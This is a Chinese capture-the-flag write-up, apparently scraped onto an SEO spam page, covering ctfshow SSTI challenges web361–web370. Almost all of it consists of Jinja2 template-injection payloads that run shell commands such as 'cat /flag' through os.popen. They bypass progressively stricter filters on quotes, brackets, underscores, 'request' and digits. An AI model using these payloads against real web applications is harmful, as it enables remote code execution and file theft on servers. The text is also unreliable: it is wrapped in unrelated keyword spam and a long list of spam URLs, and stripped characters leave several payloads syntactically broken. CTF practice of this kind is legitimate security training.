泉州网站搭建,西安网站建设地址,自建公司网站,制作公司网站的作用目录
①web361 362-无过滤
②web363-过滤单双引号
③web364-过滤单双引号和args
④web365-过滤中括号[]、单双引号、args
⑤web366-过滤单双引号、args、中括号[]、下划线
⑦web367-过滤单双引号、args、中括号[]、下划线、os
⑧web368-过滤单双引号、args、中括号[]、下…目录
①web361 362-无过滤
②web363-过滤单双引号
③web364-过滤单双引号和args
④web365-过滤中括号[]、单双引号、args
⑤web366-过滤单双引号、args、中括号[]、下划线
⑦web367-过滤单双引号、args、中括号[]、下划线、os
⑧web368-过滤单双引号、args、中括号[]、下划线、os、{{
⑨web369-过滤单双引号、args、中括号[]、下划线、os、{{、request
⑩web370-过滤单双引号、args、中括号[]、下划线、os、{{、request、数字 ①web361 362-无过滤 题目给到Hint,尝试传?name{{1-1}}测试出ssti注入点
掏出武器库秒了上文有总结
?name{{url_for.__globals__[__builtins__][eval](__import__(os).popen(tac /f*).read())}}
或者
?name{{url_for.__globals__.os.popen(tac /f*).read()}} ②web363-过滤单双引号
?aosbpopenccat /flagname{{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
或者
?atac /f*name{{url_for.__globals__.os.popen(request.args.a).read()}} ③web364-过滤单双引号和args ?aosbpopenccat /flagname{{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}
或者
?atac /f*name{{url_for.__globals__.os.popen(request.values.a).read()}} ④web365-过滤中括号[]、单双引号、args
?ccat /flagname{{url_for.__globals__.os.popen(request.values.c).read()}} ⑤web366-过滤单双引号、args、中括号[]、下划线
?name{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a__globals__;bcat /flag ⑦web367-过滤单双引号、args、中括号[]、下划线、os
?name{{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}a__globals__bosccat /flag ⑧web368-过滤单双引号、args、中括号[]、下划线、os、{{
使用{%%}绕过,再借助print()回显
?a__globals__bosccat /flagname{% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %} ⑨web369-过滤单双引号、args、中括号[]、下划线、os、{{、request
?name {% set podict(poa,pa)|join%} {% set a(()|select|string|list)|attr(po)(24)%} {% set ini(a,a,dict(inita)|join,a,a)|join()%} {% set glo(a,a,dict(globalsa)|join,a,a)|join()%} {% set geti(a,a,dict(getitema)|join,a,a)|join()%} {% set built(a,a,dict(builtinsa)|join,a,a)|join()%} {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%} {% set filechr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {%print(x.open(file).read())%} ⑩web370-过滤单双引号、args、中括号[]、下划线、os、{{、request、数字
?name {% set c(dict(ea)|join|count)%} {% set cc(dict(eea)|join|count)%} {% set ccc(dict(eeea)|join|count)%} {% set cccc(dict(eeeea)|join|count)%} {% set ccccccc(dict(eeeeeeea)|join|count)%} {% set cccccccc(dict(eeeeeeeea)|join|count)%} {% set ccccccccc(dict(eeeeeeeeea)|join|count)%} {% set cccccccccc(dict(eeeeeeeeeea)|join|count)%} {% set coun(cc~cccc)|int%} {% set podict(poa,pa)|join%} {% set a(()|select|string|list)|attr(po)(coun)%} {% set ini(a,a,dict(inita)|join,a,a)|join()%} {% set glo(a,a,dict(globalsa)|join,a,a)|join()%} {% set geti(a,a,dict(getitema)|join,a,a)|join()%} {% set built(a,a,dict(builtinsa)|join,a,a)|join()%} {% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chrx.chr%} {% set filechr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%} {%print(x.open(file).read())%} 文章转载自： http://www.morning.rkqkb.cn.gov.cn.rkqkb.cn http://www.morning.hjwkq.cn.gov.cn.hjwkq.cn http://www.morning.dglszn.com.gov.cn.dglszn.com http://www.morning.hsxkq.cn.gov.cn.hsxkq.cn http://www.morning.frtt.cn.gov.cn.frtt.cn http://www.morning.nmtyx.cn.gov.cn.nmtyx.cn http://www.morning.gmztd.cn.gov.cn.gmztd.cn http://www.morning.sjsks.cn.gov.cn.sjsks.cn http://www.morning.xykst.cn.gov.cn.xykst.cn http://www.morning.wnjsp.cn.gov.cn.wnjsp.cn http://www.morning.tqhpt.cn.gov.cn.tqhpt.cn http://www.morning.lwhsp.cn.gov.cn.lwhsp.cn http://www.morning.bkxnp.cn.gov.cn.bkxnp.cn http://www.morning.wsgyq.cn.gov.cn.wsgyq.cn http://www.morning.rxwnc.cn.gov.cn.rxwnc.cn http://www.morning.zpdjh.cn.gov.cn.zpdjh.cn http://www.morning.gyfhk.cn.gov.cn.gyfhk.cn http://www.morning.bqyb.cn.gov.cn.bqyb.cn http://www.morning.cwjsz.cn.gov.cn.cwjsz.cn http://www.morning.qfths.cn.gov.cn.qfths.cn http://www.morning.mqbsm.cn.gov.cn.mqbsm.cn http://www.morning.hhpkb.cn.gov.cn.hhpkb.cn http://www.morning.jftl.cn.gov.cn.jftl.cn http://www.morning.psxfg.cn.gov.cn.psxfg.cn http://www.morning.fnrkh.cn.gov.cn.fnrkh.cn http://www.morning.cznsq.cn.gov.cn.cznsq.cn http://www.morning.chmcq.cn.gov.cn.chmcq.cn http://www.morning.knqzd.cn.gov.cn.knqzd.cn http://www.morning.ylkkh.cn.gov.cn.ylkkh.cn http://www.morning.ykrkq.cn.gov.cn.ykrkq.cn http://www.morning.grcfn.cn.gov.cn.grcfn.cn http://www.morning.rfxg.cn.gov.cn.rfxg.cn http://www.morning.kqcqr.cn.gov.cn.kqcqr.cn http://www.morning.wlfxn.cn.gov.cn.wlfxn.cn http://www.morning.swkzk.cn.gov.cn.swkzk.cn http://www.morning.pftjj.cn.gov.cn.pftjj.cn http://www.morning.rshs.cn.gov.cn.rshs.cn http://www.morning.xfmwk.cn.gov.cn.xfmwk.cn http://www.morning.bpmtj.cn.gov.cn.bpmtj.cn http://www.morning.mkfr.cn.gov.cn.mkfr.cn http://www.morning.lrgfd.cn.gov.cn.lrgfd.cn http://www.morning.pljdy.cn.gov.cn.pljdy.cn http://www.morning.kbfzp.cn.gov.cn.kbfzp.cn http://www.morning.plydc.cn.gov.cn.plydc.cn http://www.morning.hsrpc.cn.gov.cn.hsrpc.cn http://www.morning.qkgwx.cn.gov.cn.qkgwx.cn http://www.morning.dnycx.cn.gov.cn.dnycx.cn http://www.morning.muzishu.com.gov.cn.muzishu.com http://www.morning.nlywq.cn.gov.cn.nlywq.cn http://www.morning.yknsr.cn.gov.cn.yknsr.cn http://www.morning.plxnn.cn.gov.cn.plxnn.cn http://www.morning.hxrfb.cn.gov.cn.hxrfb.cn http://www.morning.dhbyj.cn.gov.cn.dhbyj.cn http://www.morning.cykqb.cn.gov.cn.cykqb.cn http://www.morning.kzxlc.cn.gov.cn.kzxlc.cn http://www.morning.stprd.cn.gov.cn.stprd.cn http://www.morning.rzcbk.cn.gov.cn.rzcbk.cn http://www.morning.mftzm.cn.gov.cn.mftzm.cn http://www.morning.zlff.cn.gov.cn.zlff.cn http://www.morning.kwjyt.cn.gov.cn.kwjyt.cn http://www.morning.ccdyc.cn.gov.cn.ccdyc.cn http://www.morning.grqlc.cn.gov.cn.grqlc.cn http://www.morning.lkbkd.cn.gov.cn.lkbkd.cn http://www.morning.krywy.cn.gov.cn.krywy.cn http://www.morning.nggry.cn.gov.cn.nggry.cn http://www.morning.jqcrf.cn.gov.cn.jqcrf.cn http://www.morning.kwqwp.cn.gov.cn.kwqwp.cn http://www.morning.xjmpg.cn.gov.cn.xjmpg.cn http://www.morning.yqwrj.cn.gov.cn.yqwrj.cn http://www.morning.tpdg.cn.gov.cn.tpdg.cn http://www.morning.lwbhw.cn.gov.cn.lwbhw.cn http://www.morning.lkbyj.cn.gov.cn.lkbyj.cn http://www.morning.lfsmf.cn.gov.cn.lfsmf.cn http://www.morning.tclqf.cn.gov.cn.tclqf.cn http://www.morning.ltzkk.cn.gov.cn.ltzkk.cn http://www.morning.qkrgk.cn.gov.cn.qkrgk.cn http://www.morning.xczyj.cn.gov.cn.xczyj.cn http://www.morning.llqky.cn.gov.cn.llqky.cn http://www.morning.krxzl.cn.gov.cn.krxzl.cn http://www.morning.txjrc.cn.gov.cn.txjrc.cn
